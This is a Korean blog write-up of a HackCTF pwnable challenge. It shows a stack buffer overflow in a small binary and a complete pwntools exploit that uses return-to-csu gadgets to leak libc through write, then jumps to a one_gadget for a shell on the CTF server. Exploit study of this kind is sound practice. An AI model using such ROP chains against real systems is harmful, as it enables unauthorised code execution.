728x90
checksec
Pseudo Code
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-40h]
setvbuf(stdin, 0LL, 2, 0LL);
write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
return read(0, &buf, 0x200uLL);
}
0x40byte만큼 할당받은 buf 변수에 0x200byte만큼 read함수를 통해 읽어들이려하면서 overflow 발생가능
>> read함수를 이용해 buf변수에 0x40 + 8 byte 만큼 문자열을 채워주면 return address를 덮어 쓸 수 있을 것이다
Payload
gadget
gadget1 = 0x406ba
gadget2 = 0x406a0
gadget1로 rbx, rbp, r12, r13, r14, r15 순으로 값을 저장하고 gadget2로 r13, r14, r15의 값을 각각 rdx, rsi, edi 로 이동시킴
one gadget이 있는지 확인해봤다
one_gadget의 조건에 맞춰서 레지스터값을 NULL을 맞추기 위해 one_gadget을 보낸 후에 "\x00"을 채워준다.
Exploit
from pwn import *
from struct import *
#context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz", 3025)
elf = ELF("./rtc")
libc = ELF("./libc.so.6")
#libc = elf.libc
write_off = libc.symbols['write']
write_got = elf.got['write']
read_off = libc.symbols['read']
read_got = elf.got['read']
main = elf.symbols['main']
one_gadget = 0xf1147
gadget1 = 0x4006ba
gadget2 = 0x4006a0
pl = "A"*(0x40 + 0x8)
pl += p64(gadget1)
pl += p64(0)
pl += p64(1)
pl += p64(write_got)
pl += p64(8)
pl += p64(read_got)
pl += p64(1)
pl += p64(gadget2)
pl += "A"*8*7
pl += p64(main)
p.sendlineafter("\n",pl)
#leak = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
leak = u64(p.recv(8))
libc_base = leak - read_off
print("libc_base:"+hex(libc_base))
pl = "A"*(0x40 + 8)
pl += p64(one_gadget + libc_base)
pl += '\x00'*0x100
p.sendlineafter("\n",pl)
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] uaf (0) | 2020.09.20 |
---|---|
first (0) | 2020.09.06 |
baby1 (0) | 2020.08.23 |
[HackCTF] SysROP (0) | 2020.08.07 |
[HackCTF] look at me (0) | 2020.08.02 |